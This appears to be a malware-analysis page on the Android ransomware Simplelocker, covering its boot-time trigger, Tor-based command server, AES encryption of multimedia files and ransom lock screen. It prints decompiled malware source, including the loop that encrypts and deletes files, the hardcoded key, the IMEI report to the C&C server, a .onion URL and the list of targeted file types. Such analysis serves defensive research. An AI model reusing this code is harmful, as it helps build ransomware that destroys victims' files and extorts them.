Ransom, data encryption and phone locking

GroDDViewer graphs:


Simplelocker is a ransomware discovered in 2014. It encrypts user’s multimedia files stored in the SD card. The original files are deleted and the malware asks a ransom to decrypt the files. Our sample displays instructions in Russian. Simplelocker communicates with a server hidden behind a Tor network to receive orders, for example the payment confirmation.

Simplelocker relies on the execution of three main independent processes. First, rg.simplelocker runs the graphical interface, the main service and the different repetitive tasks. Second, and tor and are two processes that give access to the Tor network.

Stage 1: Malicious code execution

SimpleLocker waits for the BOOT_COMPLETED intent. When it occurs, it starts a service located in the MainService class. Starting the main activity with the launcher also starts the service. The service takes a WakeLock on the phone in order to get the device running the malware even if the screen goes off. Then, it schedules two repetitive task executors (MainService$3 and MainService$4) and launches a new thread (MainService$5). All these jobs are executed in the main process rg.simplelocker.

Stage 2: Communication with a remote server through Tor

A task executor MainService$3, that is launched every 180 seconds, sends an intent TOR_SERVICE to start the TorService class. If Tor is already up, the TorSender class is called to send the IMEI of the phone using the service. The TorService class is a huge class that setups linux executables that correspond to the and tor processes. The java code executes shell commands to copy and give executable permission to the files and that come from the APK. The process is executed calling:

final String[] array = { String.valueOf(this.filePrivoxy.getAbsolutePath())
     + " " + new File(this.appBinHome, "privoxy.config").getAbsolutePath() + " &" };
TorServiceUtils.doShellCommand(array, sb, false, false);

The process listens for HTTP requests on the port 9050. It is an HTTP proxy that filters and cleans the request generated and received by the tor client.

Stage 3: User’s data encryption

In the thread MainService$5, the malware encrypts all the multimedia files and deletes the original ones:

for (final String s : this.filesToEncrypt) {
  aesCrypt.encrypt(s, String.valueOf(s) + ".enc");
  new File(s).delete();

The used algorithm is AES in CBC mode with PKCS#7 padding. The encryption key is constant, written in the code. Thus, we were able to generate a modified version of this malware where we have forced the decryption of the files.

The repetitive task MainService$4, checks in the SharedPreferences the value DISABLE_LOCKER that informs the malware that it should shut down in case the victim has paid. If not, it restarts the Main activity that displays in fullscreen a Russian message informing the user that its files have been encrypted and asking for a ransom.

Other resources


To trigger the malware, launch the application or reboot the device.


Malware type :

  • Ransomware

Attacks :

  •   Confidentiality

  •   Integrity

  •   Availability

  •   Normal use

Infection technique : Standalone application

Malicious code type :

  • Use Java code
  • Use native code

Hidding techniques :

  • Not hidden

Triggering techniques :

  • Executed at launch
  • Waits for a particular intent


Java source code extracts: is the service started when the application is launched or the phone rebooted. is the repetitive task executed every 1 second in order to check if the ransom has been paid. is the class used in the repetitive task MainService$3 in order to contact the C&C server. is the class that manages the requests and responses of the C&C server. is the function used by the thread MainService$5 in order to encrypt user's files. is the class that configures and executes the cipher algorithm. is the class that contains constant strings and values used by the malware.

// in file org/simplelocker/

public void onCreate() {

	//Taking a WakeLock
	(this.wakeLock = ((PowerManager)this.getSystemService("power")).newWakeLock(1, "WakeLock")).acquire();

	this.context = (Context)this;
	MainService.isRunning = true;
	this.settings = this.getSharedPreferences("AppPrefs", 0);

	final ScheduledExecutorService singleThreadScheduledExecutor = Executors.newSingleThreadScheduledExecutor();
	//Scheduling MainService$3 and MainService$4
	singleThreadScheduledExecutor.scheduleAtFixedRate((Runnable)new MainService.MainService$3(this), 0L, 180L, TimeUnit.SECONDS);
	singleThreadScheduledExecutor.scheduleAtFixedRate((Runnable)new MainService.MainService$4(this), 1L, 1L, TimeUnit.SECONDS);

	//Starting the thread MainService$5 (files encryption)
	new Thread((Runnable)new MainService.MainService$5(this)).start();

// in file org/simplelocker/MainService$

class MainService$4 implements Runnable {

	public void run() {

		//Checking the value of "DISABLE_LOCKER" and if the Main activity is currently running
		if (!MainService.access$8(this.this$0).getBoolean("DISABLE_LOCKER", false) && !Main.isRunning) {

			final Intent intent = new Intent((Context)this.this$0, (Class)Main.class);

			//Starting the activity (blocking the screen and asking for a ransom)

// in file org/simplelocker/

public class TorSender
	public static final String PROXY_HOST = "";
	public static final int PROXY_HTTP_PORT = 9050;
	public static void sendCheck(final Context context) {
		try {
			final JSONObject jsonObject = new JSONObject();
			jsonObject.put("type", (Object)"locker check");
			jsonObject.put("device id", (Object)Utils.getCutIMEI(context)); //Getting the IMEI
			jsonObject.put("client number", (Object)"19");
			new HttpSender(jsonObject.toString(), HttpSender$RequestType.TYPE_CHECK, context).startSending();
		catch (JSONException ex) { ex.printStackTrace(); }

// in file org/simplelocker/

public HttpSender(String paramString, RequestType paramRequestType, Context paramContext){
	this.dataToSend = paramString;
	settings = paramContext.getSharedPreferences("AppPrefs", 0);
	this.httpclient = new StrongHttpsClient(paramContext);
	this.httpclient.useProxy(true, "SOCKS", "", 9050);
	this.context = paramContext;
	this.type = paramRequestType;

// in file org/simplelocker/

public void encrypt() throws Exception {

	if (!this.settings.getBoolean("FILES_WAS_ENCRYPTED", false) && this.isExternalStorageWritable()) {

		final AesCrypt aesCrypt = new AesCrypt("jndlasf074hr");

		for (final String s : this.filesToEncrypt) {
			aesCrypt.encrypt(s, String.valueOf(s) + ".enc");
			new File(s).delete();

		Utils.putBooleanValue(this.settings, "FILES_WAS_ENCRYPTED", true);

// in file org/simplelocker/

public AesCrypt(final String s) throws Exception {
	final MessageDigest instance = MessageDigest.getInstance("SHA-256");
	final byte[] key = new byte[32];
	System.arraycopy(instance.digest(), 0, key, 0, key.length);
	this.cipher = Cipher.getInstance("AES/CBC/PKCS7Padding");
	this.key = new SecretKeySpec(key, "AES");
	this.spec = this.getIV();

// in file org/simplelocker/

public class Constants
	public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";
	public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;
	public static final String CIPHER_PASSWORD = "jndlasf074hr";
	public static final String CLIENT_NUMBER = "19";
	public static final String DEBUG_TAG = "DEBUGGING";
	public static final String DISABLE_LOCKER = "DISABLE_LOCKER";
	public static final List<String> EXTENSIONS_TO_ENCRYPT;
	public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";
	public static final int MONEYPACK_DIGITS_NUMBER = 14;
	public static final int PAYSAFECARD_DIGITS_NUMBER = 16;
	public static final int POLLING_TIME_MINUTES = 3;
	public static final String PREFS_NAME = "AppPrefs";
	public static final int UKASH_DIGITS_NUMBER = 19;
	static {
		EXTENSIONS_TO_ENCRYPT = Arrays.asList("jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", 
							"docx", "txt", "avi", "mkv", "3gp", "mp4");